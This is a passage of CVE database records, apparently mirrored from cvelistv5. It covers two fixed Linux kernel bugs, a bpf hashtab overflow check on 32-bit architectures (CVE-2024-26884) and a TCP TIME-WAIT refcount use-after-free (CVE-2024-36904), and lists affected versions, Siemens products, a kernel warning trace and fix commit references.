            "url": "https://git.kernel.org/stable/c/3b08cfc65f07b1132c1979d73f014ae6e04de55d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a83fdaeaea3677b83a53f72ace2d73a19bcd6d93"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8435f0961bf3dc65e204094349bd9aeaac1f8868"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d817f0d34d927f2deb17dadbfe212c9a6a32ac3e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a6fa75b5096c0f9826a4fabe22d907b0a5bb1016"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6787d916c2cf9850c97a0a3f73e08c43e7d973b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:08.157Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/hashtab.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "33ec04cadb77605b71d9298311919303d390c4d5",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "92c81fbb3ed2e0dfc33a4183a67135e1ab566ace",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "64f00b4df0597590b199b62a37a165473bf658a6",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "3b08cfc65f07b1132c1979d73f014ae6e04de55d",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "a83fdaeaea3677b83a53f72ace2d73a19bcd6d93",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "8435f0961bf3dc65e204094349bd9aeaac1f8868",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "d817f0d34d927f2deb17dadbfe212c9a6a32ac3e",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "a6fa75b5096c0f9826a4fabe22d907b0a5bb1016",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            },
            {
              "lessThan": "6787d916c2cf9850c97a0a3f73e08c43e7d973b1",
              "status": "affected",
              "version": "daaf427c6ab392bedcd018e326b2ffa1e1110cd6",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/hashtab.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.19"
            },
            {
              "lessThan": "3.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix hashtab overflow check on 32-bit arches\n\nThe hashtab code relies on roundup_pow_of_two() to compute the number of\nhash buckets, and contains an overflow check by checking if the\nresulting value is 0. However, on 32-bit arches, the roundup code itself\ncan overflow by doing a 32-bit left-shift of an unsigned long value,\nwhich is undefined behaviour, so it is not guaranteed to truncate\nneatly. This was triggered by syzbot on the DEVMAP_HASH type, which\ncontains the same check, copied from the hashtab code. So apply the same\nfix to hashtab, by moving the overflow check to before the roundup."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:09.071Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/33ec04cadb77605b71d9298311919303d390c4d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/92c81fbb3ed2e0dfc33a4183a67135e1ab566ace"
        },
        {
          "url": "https://git.kernel.org/stable/c/64f00b4df0597590b199b62a37a165473bf658a6"
        },
        {
          "url": "https://git.kernel.org/stable/c/3b08cfc65f07b1132c1979d73f014ae6e04de55d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a83fdaeaea3677b83a53f72ace2d73a19bcd6d93"
        },
        {
          "url": "https://git.kernel.org/stable/c/8435f0961bf3dc65e204094349bd9aeaac1f8868"
        },
        {
          "url": "https://git.kernel.org/stable/c/d817f0d34d927f2deb17dadbfe212c9a6a32ac3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/a6fa75b5096c0f9826a4fabe22d907b0a5bb1016"
        },
        {
          "url": "https://git.kernel.org/stable/c/6787d916c2cf9850c97a0a3f73e08c43e7d973b1"
        }
      ],
      "title": "bpf: Fix hashtab overflow check on 32-bit arches",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26884",
    "datePublished": "2024-04-17T10:27:39.672Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:50:08.157Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36904 (GCVE-0-2024-36904)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

tcp: Use refcount_inc_not_zero() in tcp_twsk_unique().

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp: Use refcount_inc_not_zero() in tcp_twsk_unique(). Anderson Nascimento reported a use-after-free splat in tcp_twsk_unique() with nice analysis. Since commit ec94c2696f0b ("tcp/dccp: avoid one atomic operation for timewait hashdance"), inet_twsk_hashdance() sets TIME-WAIT socket's sk_refcnt after putting it into ehash and releasing the bucket lock. Thus, there is a small race window where other threads could try to reuse the port during connect() and call sock_hold() in tcp_twsk_unique() for the TIME-WAIT socket with zero refcnt. If that happens, the refcnt taken by tcp_twsk_unique() is overwritten and sock_put() will cause underflow, triggering a real use-after-free somewhere else. To avoid the use-after-free, we need to use refcount_inc_not_zero() in tcp_twsk_unique() and give up on reusing the port if it returns false. [0]: refcount_t: addition on 0; use-after-free. WARNING: CPU: 0 PID: 1039313 at lib/refcount.c:25 refcount_warn_saturate+0xe5/0x110 CPU: 0 PID: 1039313 Comm: trigger Not tainted 6.8.6-200.fc39.x86_64 #1 Hardware name: VMware, Inc. VMware20,1/440BX Desktop Reference Platform, BIOS VMW201.00V.21805430.B64.2305221830 05/22/2023 RIP: 0010:refcount_warn_saturate+0xe5/0x110 Code: 42 8e ff 0f 0b c3 cc cc cc cc 80 3d aa 13 ea 01 00 0f 85 5e ff ff ff 48 c7 c7 f8 8e b7 82 c6 05 96 13 ea 01 01 e8 7b 42 8e ff <0f> 0b c3 cc cc cc cc 48 c7 c7 50 8f b7 82 c6 05 7a 13 ea 01 01 e8 RSP: 0018:ffffc90006b43b60 EFLAGS: 00010282 RAX: 0000000000000000 RBX: ffff888009bb3ef0 RCX: 0000000000000027 RDX: ffff88807be218c8 RSI: 0000000000000001 RDI: ffff88807be218c0 RBP: 0000000000069d70 R08: 0000000000000000 R09: ffffc90006b439f0 R10: ffffc90006b439e8 R11: 0000000000000003 R12: ffff8880029ede84 R13: 0000000000004e20 R14: ffffffff84356dc0 R15: ffff888009bb3ef0 FS: 00007f62c10926c0(0000) GS:ffff88807be00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020ccb000 CR3: 000000004628c005 CR4: 0000000000f70ef0 PKRU: 55555554 Call Trace: <TASK> ? refcount_warn_saturate+0xe5/0x110 ? __warn+0x81/0x130 ? refcount_warn_saturate+0xe5/0x110 ? report_bug+0x171/0x1a0 ? refcount_warn_saturate+0xe5/0x110 ? handle_bug+0x3c/0x80 ? exc_invalid_op+0x17/0x70 ? asm_exc_invalid_op+0x1a/0x20 ? refcount_warn_saturate+0xe5/0x110 tcp_twsk_unique+0x186/0x190 __inet_check_established+0x176/0x2d0 __inet_hash_connect+0x74/0x7d0 ? __pfx___inet_check_established+0x10/0x10 tcp_v4_connect+0x278/0x530 __inet_stream_connect+0x10f/0x3d0 inet_stream_connect+0x3a/0x60 __sys_connect+0xa8/0xd0 __x64_sys_connect+0x18/0x20 do_syscall_64+0x83/0x170 entry_SYSCALL_64_after_hwframe+0x78/0x80 RIP: 0033:0x7f62c11a885d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d a3 45 0c 00 f7 d8 64 89 01 48 RSP: 002b:00007f62c1091e58 EFLAGS: 00000296 ORIG_RAX: 000000000000002a RAX: ffffffffffffffda RBX: 0000000020ccb004 RCX: 00007f62c11a885d RDX: 0000000000000010 RSI: 0000000020ccb000 RDI: 0000000000000003 RBP: 00007f62c1091e90 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000296 R12: 00007f62c10926c0 R13: ffffffffffffff88 R14: 0000000000000000 R15: 00007ffe237885b0 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/84546cc1aeeb4df3e…
https://git.kernel.org/stable/c/1796ca9c6f5bd5055…
https://git.kernel.org/stable/c/1d9cf07810c30ef79…
https://git.kernel.org/stable/c/27b0284d8be182a81…
https://git.kernel.org/stable/c/13ed7cdf079686ccd…
https://git.kernel.org/stable/c/6e48faad92be13166…
https://git.kernel.org/stable/c/517e32ea0a8c72202…
https://git.kernel.org/stable/c/f2db7230f73a80dbb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 84546cc1aeeb4df3e444b18a4293c9823f974be9 (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 1796ca9c6f5bd50554214053af5f47d112818ee3 (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 1d9cf07810c30ef7948879567d10fd1f01121d34 (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 27b0284d8be182a81feb65581ab6a724dfd596e8 (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 13ed7cdf079686ccd3618335205700c03f6fb446 (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 6e48faad92be13166184d21506e4e54c79c13adc (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < 517e32ea0a8c72202d0d8aa8df50a7cd3d6fdefc (git) Affected: ec94c2696f0bcd5ae92a553244e4ac30d2171a2d , < f2db7230f73a80dbb179deab78f88a7947f0ab7e (git)
Linux	Linux	Affected: 4.16 Unaffected: 0 , < 4.16 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36904",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T19:20:22.181493Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-12T19:20:38.310Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-09-05T08:03:30.442Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/84546cc1aeeb4df3e444b18a4293c9823f974be9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1796ca9c6f5bd50554214053af5f47d112818ee3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1d9cf07810c30ef7948879567d10fd1f01121d34"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/27b0284d8be182a81feb65581ab6a724dfd596e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13ed7cdf079686ccd3618335205700c03f6fb446"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6e48faad92be13166184d21506e4e54c79c13adc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/517e32ea0a8c72202d0d8aa8df50a7cd3d6fdefc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f2db7230f73a80dbb179deab78f88a7947f0ab7e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20240905-0004/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:07.539Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ipv4.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "84546cc1aeeb4df3e444b18a4293c9823f974be9",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "1796ca9c6f5bd50554214053af5f47d112818ee3",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "1d9cf07810c30ef7948879567d10fd1f01121d34",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "27b0284d8be182a81feb65581ab6a724dfd596e8",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "13ed7cdf079686ccd3618335205700c03f6fb446",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "6e48faad92be13166184d21506e4e54c79c13adc",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "517e32ea0a8c72202d0d8aa8df50a7cd3d6fdefc",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            },
            {
              "lessThan": "f2db7230f73a80dbb179deab78f88a7947f0ab7e",
              "status": "affected",
              "version": "ec94c2696f0bcd5ae92a553244e4ac30d2171a2d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ipv4.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.16"
            },
            {
              "lessThan": "4.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Use refcount_inc_not_zero() in tcp_twsk_unique().\n\nAnderson Nascimento reported a use-after-free splat in tcp_twsk_unique()\nwith nice analysis.\n\nSince commit ec94c2696f0b (\"tcp/dccp: avoid one atomic operation for\ntimewait hashdance\"), inet_twsk_hashdance() sets TIME-WAIT socket\u0027s\nsk_refcnt after putting it into ehash and releasing the bucket lock.\n\nThus, there is a small race window where other threads could try to\nreuse the port during connect() and call sock_hold() in tcp_twsk_unique()\nfor the TIME-WAIT socket with zero refcnt.\n\nIf that happens, the refcnt taken by tcp_twsk_unique() is overwritten\nand sock_put() will cause underflow, triggering a real use-after-free\nsomewhere else.\n\nTo avoid the use-after-free, we need to use refcount_inc_not_zero() in\ntcp_twsk_unique() and give up on reusing the port if it returns false.\n\n[0]:\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 0 PID: 1039313 at lib/refcount.c:25 refcount_warn_saturate+0xe5/0x110\nCPU: 0 PID: 1039313 Comm: trigger Not tainted 6.8.6-200.fc39.x86_64 #1\nHardware name: VMware, Inc. VMware20,1/440BX Desktop Reference Platform, BIOS VMW201.00V.21805430.B64.2305221830 05/22/2023\nRIP: 0010:refcount_warn_saturate+0xe5/0x110\nCode: 42 8e ff 0f 0b c3 cc cc cc cc 80 3d aa 13 ea 01 00 0f 85 5e ff ff ff 48 c7 c7 f8 8e b7 82 c6 05 96 13 ea 01 01 e8 7b 42 8e ff \u003c0f\u003e 0b c3 cc cc cc cc 48 c7 c7 50 8f b7 82 c6 05 7a 13 ea 01 01 e8\nRSP: 0018:ffffc90006b43b60 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: ffff888009bb3ef0 RCX: 0000000000000027\nRDX: ffff88807be218c8 RSI: 0000000000000001 RDI: ffff88807be218c0\nRBP: 0000000000069d70 R08: 0000000000000000 R09: ffffc90006b439f0\nR10: ffffc90006b439e8 R11: 0000000000000003 R12: ffff8880029ede84\nR13: 0000000000004e20 R14: ffffffff84356dc0 R15: ffff888009bb3ef0\nFS:  00007f62c10926c0(0000) GS:ffff88807be00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000020ccb000 CR3: 000000004628c005 CR4: 0000000000f70ef0\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n ? refcount_warn_saturate+0xe5/0x110\n ? __warn+0x81/0x130\n ? refcount_warn_saturate+0xe5/0x110\n ? report_bug+0x171/0x1a0\n ? refcount_warn_saturate+0xe5/0x110\n ? handle_bug+0x3c/0x80\n ? exc_invalid_op+0x17/0x70\n ? asm_exc_invalid_op+0x1a/0x20\n ? refcount_warn_saturate+0xe5/0x110\n tcp_twsk_unique+0x186/0x190\n __inet_check_established+0x176/0x2d0\n __inet_hash_connect+0x74/0x7d0\n ? __pfx___inet_check_established+0x10/0x10\n tcp_v4_connect+0x278/0x530\n __inet_stream_connect+0x10f/0x3d0\n inet_stream_connect+0x3a/0x60\n __sys_connect+0xa8/0xd0\n __x64_sys_connect+0x18/0x20\n do_syscall_64+0x83/0x170\n entry_SYSCALL_64_after_hwframe+0x78/0x80\nRIP: 0033:0x7f62c11a885d\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 8b 0d a3 45 0c 00 f7 d8 64 89 01 48\nRSP: 002b:00007f62c1091e58 EFLAGS: 00000296 ORIG_RAX: 000000000000002a\nRAX: ffffffffffffffda RBX: 0000000020ccb004 RCX: 00007f62c11a885d\nRDX: 0000000000000010 RSI: 0000000020ccb000 RDI: 0000000000000003\nRBP: 00007f62c1091e90 R08: 